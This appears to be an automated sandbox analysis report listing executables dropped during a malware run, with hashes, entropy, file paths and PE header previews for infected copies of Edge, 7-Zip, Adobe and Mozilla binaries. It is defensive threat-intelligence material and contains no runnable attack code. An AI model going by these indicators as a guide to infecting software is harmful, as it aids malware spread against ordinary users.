Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1825280
Entropy (8bit):	7.153830006148867
Encrypted:	false
SSDEEP:	24576:N70E0ZCQZMiU6Rrt9RoctGfmdd4/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:J0EzQSyRPRoc1ELNiXicJFFRGNzj3
MD5:	D536476D12E3FAFD28EE05FBBF417C47
SHA1:	3337D8556614A0CABA0110AD2FEBF1A3C9B3BDBE
SHA-256:	80C082615610F1A7F759744AAB80F7177FB8D9FCC4ED5FEB708374708D2009FD
SHA-512:	FA9445258261AAFCF78025700B7D423F1A25471C6E4B3D9027ED1ABCBB0E4700167E6C5352B69A6393EDEE9CB261DF11CEF97CEFD297F52B06226DE6D089409F
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........v.......k.........@.............................0......yI.... ..........................................u......ly....... ..........,....................d..T...................hc..(.......@...........@... ............................text............................... ..`.rdata.............................@..@.data........@......."..............@....pdata..,...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc........ ......................@..@.reloc.......0......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.140923902756681
Encrypted:	false
SSDEEP:	24576:JiD2VmA1YXwHwlklb8boUuWPg2g3/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ID2VmAyiwIb8boQoLNiXicJFFRGNzj3
MD5:	19872E252350649D1101974D738FEE98
SHA1:	984FE167BC1017416F79E8207A1E664FAC12DF5E
SHA-256:	96EBDCC342A14DB2F8ABF7BFCAF05F71F7A6B9A968BB6E84D97207FB5AD3F324
SHA-512:	7A53F6B94786B3547E955D737A7BA2E8B28557F9685DC29D6575DE7689D794A27C2C98BC80D2D7672E7328F2D2FF30A9B0F4F99CC9A2984CA1943719AC5F8C24
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p............ .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2853376
Entropy (8bit):	6.9482223138387775
Encrypted:	false
SSDEEP:	49152:vfD3zO9ZhBGloizM3HRNr00ALNiXicJFFRGNzj3:XDaalxzM00A7wRGpj3
MD5:	DF9DFC853B1735799AFB8618C20DCD3F
SHA1:	5C79248F4B2DA8EC4C24764E3840DA725E87FA5F
SHA-256:	F5C3F90E83A8EC0D820A044DEECA634DAD8DB398EC6845E30E37FBDA7D6B3F91
SHA-512:	3C1ED0192A32CFFA9A509F16FB169E42A0A8A6C2CAE68FC1A62D39C5301EF274FE0414DD607820A70DC7D5156A258B98F279D9C39DE115539867946BEEA51998
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......l...2......@..........@..............................-.......,... .................................................h.........!.. ...P ........................8......................(...P...@...............x............................text....k.......l.................. ..`.rdata...............p..............@..@.data...T....p.......^..............@....pdata.......P ......d..............@..@.00cfg..0.... !......* .............@..@.gxfg...P1...0!..2..., .............@..@.retplne.....p!......^ ..................tls..........!......` .............@...LZMADEC.......!......b ............. ..`_RDATA..\.....!......t .............@..@malloc_h......!......v ............. ..`.rsrc.... ....!.."...x .............@..@.reloc........$.......".............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4320256
Entropy (8bit):	6.822725471716943
Encrypted:	false
SSDEEP:	49152:GTaRe7mkn5KLvD5qGVC0080pb4tgLUgGEsLABD5wTQh07yrLMLl9YPhLLNiXicJy:ZI72LvkrDpbxJRoIM47wRGpj3
MD5:	E88B49EF5F20B87F5F1DB060D4583988
SHA1:	AE0F375EAD047DD505AD40BB8831549E944E65EF
SHA-256:	6B7548CFA9D0D5E44944FAEAC919B4A6F79FEEF27AEB4FA43D79882F99057BAB
SHA-512:	AE886EE6DB7B306E13D6ADE33F6A9B8317096F4DFC8E0E152E9783E00FEFE250C4811EA392C1FE7B0E4C86D60C63B4EECD3A409C7018F323F37F57CE484D51FC
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......,......... k.........@..............................C......LB... ..........................................'3......+3.P.....8.x....P6..e..................h.2.T.....................2.(...P"-.@............43.......3. ....................text...E.,.......,................. ..`.rdata..4#....-..$....,.............@..@.data........@4.......4.............@....pdata...e...P6..f...45.............@..@.00cfg..0.....7.......6.............@..@.gxfg...@4....7..6....6.............@..@.retplne......8.......6..................tls....-.... 8.......6.............@...CPADinfo8....08.......6.............@...LZMADEC......@8.......6............. ..`_RDATA..\....`8.......6.............@..@malloc_h.....p8.......6............. ..`.rsrc...x.....8.......6.............@..@.reloc... ...p:.......8.............@...........................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2062336
Entropy (8bit):	7.09311408126846
Encrypted:	false
SSDEEP:	24576:EW9Jml9mmijviMnF+ZxmQWcbLw8VI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:EWnm5iOMkjmQWkVILNiXicJFFRGNzj3
MD5:	EF7CB956EFA8466454E41E11ABE26279
SHA1:	47C80A5163F1E7684DDA2D2E28879F2A0C75EE18
SHA-256:	2EE84EB67FA7CBB7919012CFA32F557B0957978D7DACF96B28DB977E83A3823C
SHA-512:	738F9A367AA10F85AB5117ACBE0E506350B256BC98785D09B1D6BF634305E53684FB2ED54C164F4E061E17870ECF1FD4EAEFC0DD1B458E7FE521E73DE9B08A71
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......h...4......P..........@.............................. ......k ... .................................................Z...................H......................8.......................(...`...@...........(...@............................text....g.......h.................. ..`.rdata...).......*...l..............@..@.data...............................@....pdata..H...........................@..@.00cfg..0....P.......H..............@..@.gxfg...p-...`.......J..............@..@.retplne.............x...................tls.................z..............@...CPADinfo8............\|..............@..._RDATA..\............~..............@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.161661135930208
Encrypted:	false
SSDEEP:	24576:fwNHwoYhua6MtjRO4qbBJTY6mY1uIg+/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:fwNPdQO7BJTfmERLNiXicJFFRGNzj3
MD5:	B366F06CDD567A3D722B47A06CCA99B3
SHA1:	763ECBC4D5D43436930827DE982C07EAAB9D22A8
SHA-256:	26B29DF54BF292853FB195E6AFD8788AF754A4AAE79AFDECBF0D6C806B5BBB53
SHA-512:	88AB7A9A0C5D37DE5976F279E4E7C592222045719873E91AE1AF3A4D4F672EF9C203B3E2264C96B3CAE022DC051EE9EA4BE14D925B42EA726701654336C1ADA0
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@.....................................E.... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.140921589195591
Encrypted:	false
SSDEEP:	24576:NiD2VmA1YXwHwlklb8boUuWPg2g3/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:8D2VmAyiwIb8boQoLNiXicJFFRGNzj3
MD5:	FC2A01884672CFE360E128D92B5B73F4
SHA1:	FB06A243B3AC5AEAD443F9B068C6AADAF0FFAD33
SHA-256:	A0871AB2178EE3A5A40FA5BD25EB7D6E3DF35388922A7C4A9915048EB9640306
SHA-512:	FD04311D489F7935E89D981A911BCCA38B9EF4EF3B87CC18BF5125CA39C0F46455E6EECB3C8A29F77029DC531D223610AE29F55572F680A5111AE5B0ACEF3C31
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p............ .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.1616587056386765
Encrypted:	false
SSDEEP:	24576:pwNHwoYhua6MtjRO4qbBJTY6mY1uIg+/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:pwNPdQO7BJTfmERLNiXicJFFRGNzj3
MD5:	CE7C53BFB5C302B38F8B47E94FD9B223
SHA1:	C7740670826E05E15CDD461C8DCD5BF438FA5840
SHA-256:	311C48FC31BC0E2743693C40A89662BB27E33E541A65CC2C9C3BA8B6EF5CE7C4
SHA-512:	091F20E8BE24FB2159C510863026C7557A2E9EE1AF07E14471E7D3D2BEC87A4F587DE4465F7C07F5AB59724AF9192BBF3A150FFC8503E523110D7AF6E251460C
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@.....................................j.... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1481216
Entropy (8bit):	4.699186260708726
Encrypted:	false
SSDEEP:	24576:1glbht6BHF/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OlNtqHFLNiXicJFFRGNzj3
MD5:	ECD2247199F78B86DE38E872A9DEA725
SHA1:	4CE8078E3D0090B733861142C5AB378DBB459885
SHA-256:	5DE62F6D6F7858E9C9EC473D0C7BF3C2F4A3D3F1763A76B17E67AB958B37AF2D
SHA-512:	79458B12A888A29E0A5FED629D7B1D25EB18D078C8F8F79D67441B50B00FB1F3D54D22907DC10D9F35CFA3109029D7D33D1602F387869F4A4923991C24EF3A3B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.y.+c..+c..+c..?...!c..?....c..?...9c..I...:c..I...8c..I....c..?...c..?....c..+c..Xc......)c.....c..+c..\|c......*c..Rich+c..........................PE..L...B(.d.................^..........@........p....@...........................!.....~.......................................H...<........q..........................pu..p...........................X...@...............@....k..`....................text...`\.......^.................. ..`.data........p.......b..............@....idata...............l..............@..@.didat...............v..............@....rsrc....q.......r...x..............@..@.reloc...p...0......................@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.662279424367206
Encrypted:	false
SSDEEP:	24576:AIxkTBVR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:pxk1VRLNiXicJFFRGNzj3
MD5:	D6920841EB769314CD9C9E25F9AFECEA
SHA1:	9574C6E669C281313AE451708357A3BA5D22B79B
SHA-256:	426F665CD7AEBFB797ECCF0FA44AC34DBF8C2F99EA71646973BEA514B35AA45B
SHA-512:	61BF353A941AC94BC2F2EE7CF47D82DBEA57320B22445A5B24FC9E148AE5FDF7A198AF39E878FC8FAD9320596A6A2C82D9FDAFBE21A12BE2E6CBAD34C14DA856
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...8(.d..........................................@........................... .....Yi......................................x...(....`..X3..............................p...............................@.......................@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1490944
Entropy (8bit):	4.791243799023212
Encrypted:	false
SSDEEP:	24576:lcssmrM/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ibfLNiXicJFFRGNzj3
MD5:	0C73631BBD43DDD0DBCFF685EDAE4C59
SHA1:	0C4B8AC0480229625ADCE55B3C2F01D2DA50F4B3
SHA-256:	7587DE77FF4F37800571B87378D5989174900C17791A82ABC1139B02171DD253
SHA-512:	C11B36D28DD6219B9B39984059062FD9D26AF3D29BA2F31622A9499E91ADFC8EC76C538C4FFB4A5646347B54513776D6A129AE264B76127529F5F2D7E7479A49
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............O.@.O.@.O.@.$.A.O.@.$.A\|O.@.7.A.O.@.7.A.O.@.7.A.O.@W6.A.O.@.$.A.O.@.$.A.O.@.$.A.O.@.O.@IN.@W6.A.O.@W6.@.O.@W6.A.O.@Rich.O.@........PE..d...@(.d.........."......n...........].........@..............................!........... .....................................................(............@..........................p.......................(...p,..@...............0............................text....l.......n.................. ..`.rdata..8z.......\|...r..............@..@.data...P3..........................@....pdata.......@......................@..@.didat.......`......................@..._RDATA.......p......................@..@.rsrc...............................@..@.reloc...`........... ..............@...........................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1539584
Entropy (8bit):	4.901305567772658
Encrypted:	false
SSDEEP:	24576:a0/cT++foSBWU2Yxhkgr/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:R/cK+foQWU2YnPrLNiXicJFFRGNzj3
MD5:	0E0B43A34957B0444A87F16259F85BE0
SHA1:	9E9456E512C849DB3C6E8FEEDDF519D459B29562
SHA-256:	1B0B425141A0F2664ECCB9247F12295A006486AF18DB1A17D218DD13CD8A4071
SHA-512:	930536308E8AB0F3FA47AE9013FD411BD0AA0DC9BA1A5AB96E5F286DD34A039818D63DC289E2BA54F4A301F18BB0E099970D80C0008B164A9AE9B9CA6052D4AB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............wU..wU..wU.tT..wU.rTg.wU..sT..wU..tT..wU..rT..wU.sT..wU.qT..wU.vT..wU..vUQ.wUK.~T..wUK..U..wUK.uT..wURich..wU........PE..L...B(.d............................p.............@...........................".....8I.......................................y..........H3...........................g..p....................g..........@....................x.......................text............................... ..`.rdata...z.......\|..................@..@.data....'...........z..............@....didat..$...........................@....rsrc...H3.......4..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.662332271796822
Encrypted:	false
SSDEEP:	24576:sbBRzBgL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:WBRVgLLNiXicJFFRGNzj3
MD5:	A46F6523010FEECE612A8EF08B76C6E8
SHA1:	89A6E836F85B5C61C56DCD0CDAA8C37A8EE16D18
SHA-256:	1EFF6ECAD030FD562CCDFC3BDD910AC75CD67F9CC794F919F90206EA4E8D216F
SHA-512:	871909D8B0CCBF9FED109B01F25BB20C8137874E99FA45F24A0C5BE18B704D48083A74C310B1E9171437FEBF637586A843575F6CC360FCAF5F3993327262E21F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...7(.d..........................................@........................... ...... ..........................................(....`..X3..............................p...............................@...................<...@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2168832
Entropy (8bit):	7.938835751991505
Encrypted:	false
SSDEEP:	49152:/y53w24gQu3TPZ2psFkiSqwozJLNiXicJFFRGNzj3:/yFQgZqsFki+ozJ7wRGpj3
MD5:	5FA5A0556AC12C5E3C0787FC12B96ABB
SHA1:	79E48CC0ED6A0E35BF8E4139196058569100FC09
SHA-256:	01656D886E4CCA72F8EF04269B67214E4D193A3C7EBA94D0EC34B0824ED788FD
SHA-512:	B93D32D4FF9843BA04CC154B63AC0ED10A1C9C154AB8B587BCD5FD8B8C29E18D7B960375CD8B30AF6F865054E858F05577524CBDAD0C3AD7E1CDFF466C5FF5E9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d..[ e.. e.. e..4...+e..4....e..B...1e..B...4e......-e..B....e..4...3e..4...!e..4...-e.. e...e....@.!e.. e(.ve......!e..Rich e..................PE..L....(.d............................ }............@..........................p!.......!......................................?..x....................................1..p....................1..........@...............H...T>..`....................text...*........................... ..`.rdata..............................@..@.data...,....P.......8..............@....didat..,....p.......B..............@....rsrc................D..............@..@.reloc.......p.......(..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.8287906164717675
Encrypted:	false
SSDEEP:	24:m/Ldx/HY/r/s/CJ/P/kRQaWtG/waWmIG/jW/u/J/8D/H/paWqG/VM/qCaWlbGaWM:WqCRyBmp6tr4Cxq4htniD
MD5:	A1ABF723445B1E61689957F9F1823BB6
SHA1:	0F0B77DC49E78059C2BF6CBD2BE4C975B62BF365
SHA-256:	143A82372D645C4119FE0037F233F2BC7EF3E647B81E5652B8A41068ABE954FD
SHA-512:	74EFCD329E884226B81C8D011245479C1D11284F8242219E4710EA00028F467B014D71AF1256F28E0264E3FD07714D2A50EF7EECCFCE2DF4B38EA408331AD11C
Malicious:	false
Preview:	2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeAuditPrivilege...2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeBackupPrivilege...2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeCreateGlobalPrivilege...2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeCreatePagefilePrivilege...2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeCreatePermanentPrivilege...2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...2024-10-28 11:50:01-0400: Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeDebugPrivilege...2024-10-28 11:50:01-0400: Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..2024-10-28 11:50:01-0400: Disabled unneeded token privilege: SeImpersonatePrivilege...2024-10-28 11:50:0

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512448
Entropy (8bit):	4.901612842389403
Encrypted:	false
SSDEEP:	24576:PQVTZu0JY/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:4VTZupLNiXicJFFRGNzj3
MD5:	8692348A40AAA0C027003BE9DA09E432
SHA1:	DCA629572218B83ACA61B85850113AE8CEA44785
SHA-256:	219678895BCFE1D12193A997DFE4161F9FE65CE0FF21AE6846432CA1C415A4AE
SHA-512:	DF755A9F6E1C040099509082E75E29F56148A291FCD67E98CAFC9FC9380EC64E55CBE6D4764D721BB5B8DD5D165D25D818BAEB183405553B8909B357C6C3FA2C
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`"........... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\7-Zip\7z.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1839616
Entropy (8bit):	5.2488737267134535
Encrypted:	false
SSDEEP:	24576:V+gkEHfh4CoD/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:8gkE/SlLNiXicJFFRGNzj3
MD5:	353E4B964B509A17DE4188165AAB10CD
SHA1:	5E2B170B9ADA06DEACF70555B0539CAC3451D239
SHA-256:	A599465C28BCB6D2BE2455A0D30666A148DA8166A7126A1FA19834267FA41D70
SHA-512:	3A482ABFEDF7BB48D4602A6F5BEF00527A0D825DBA4451BA2212C2DC1494A40F527EA1B0AF8AB344D6CA00FF40B2C9CBDCF6E1E162F7651B550C6281EBF779A2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`.bY.xaX...X.xaX...X.xaXRich.xaX........................PE..d....\.d.........."...........................@..............................0'........... .....................................................x............@...q......................................................................0............................text...v........................... ..`.rdata..T...........................@..@.data....-..........................@....pdata...q...@...r..................@..@.rsrc................j..............@..@.reloc...`...........r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zFM.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1532416
Entropy (8bit):	7.091709292241218
Encrypted:	false
SSDEEP:	24576:sBpDRmi78gkPXlyo0GtjrQ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:4NRmi78gkPX4o0GtjsLNiXicJFFRGNzb
MD5:	3F7927D8C34047A6461E4351DBB2955C
SHA1:	852CA171AD8CA23AE5BB8EF0535608EAF44DE1B0
SHA-256:	C1065F9F88312B60FBCBCB3FB6872EE1BCEBFAE4390347B0B129A4163DD6625F
SHA-512:	1FB6F9BFB761015BD36CE3FD15E9AD16531ED76BCAD0F639F9E08C55A8DE98C5A35DFAA2ED0C70BC585D609877A921615C3D2120EFB394E622E506B3B3F47095
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.._..2..N..2..J..2.Rich.2.........................PE..d....\.d.........."......b...8......Pi........@......................................t.... .................................................P................... .......................................................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..............@..@.data...............................@....pdata.. ...........................@..@.rsrc...............................@..@.reloc...............r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zG.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	7.222630997089964
Encrypted:	false
SSDEEP:	24576:BLOS2oTPIXVD/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:b/TELNiXicJFFRGNzj3
MD5:	2854140D4D8DA418C17B3297E25BA5D9
SHA1:	68A766A036D9D684CA1D1133C9A8843CD8D0ADDA
SHA-256:	9A4483667F68AA97C23A2EA4CDBA48D4588DA1CFA6B4EE9417AD42FA64D0939B
SHA-512:	5E95675FEB7060D3515338552204D45A31CE0E4CA606D16081AC0DE90E5651F4D180FC3A8A1AFCC5DF2773C181B47309670C59370CF2FBB65DA8B21D42E07AD4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8...;.~y8...D.~y8...@.~y8.Rich.y8.........PE..d....\.d.........."......&..........."........@.....................................v..... ..............................................................d...........................................................................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.data...83..........................@....pdata..............................@..@.rsrc....d.......f...:..............@..@.reloc..............................@...........................................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1300992
Entropy (8bit):	4.534778720187119
Encrypted:	false
SSDEEP:	24576:AtF/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:yLNiXicJFFRGNzj3
MD5:	2B97BD1393ED933265C488E51D19E9DB
SHA1:	BC968AA469A80570819A7B98304E44A86B8D3E1A
SHA-256:	D36C7E15879CA2F3936BE3A59B6D2D3D42D94D2B3AD084E568F1875E4813BA90
SHA-512:	652CCC9DB155517F337818D3DFB121D26D35FC207764C2594D6DF18AB0E7FBE706686DB9A1796F1CB0FD9E822165C49AF7A524216762A8DECA0AB4D76D216F54
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../..........@......f!.......0....@..................................U......................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc....p...`.......*..............@...........................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1222656
Entropy (8bit):	6.702475065375768
Encrypted:	false
SSDEEP:	24576:sAdz6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:sAdGLNiXicJFFRGNzj3
MD5:	D11D16455E2A9513EEE21191F40371D8
SHA1:	35F458894101A6C5278CEFF151A15960704D940C
SHA-256:	2D55DDE665D0E6FA68BE7919E61AAF47987BAFEB90286A9B51981834B7041AED
SHA-512:	68252FAAD3D15AEFA38277FF65A7C1CB0638DD6C4DF26684E0972CABB2F4234F1D4B2C7DAFC1C8A63CDD11C8E15E378DB37577F74CE71222222A86B3485C12D0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.F.4.F%4.FG@.G.4.FG@)F.4.F.4AF.4.FG@.G.4.FRich.4.F................PE..d......d.........."......6.....................@.......................................... .....................................................\|....P..h........9.....................p.......................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P.......:..............@..@.data...............................@....pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
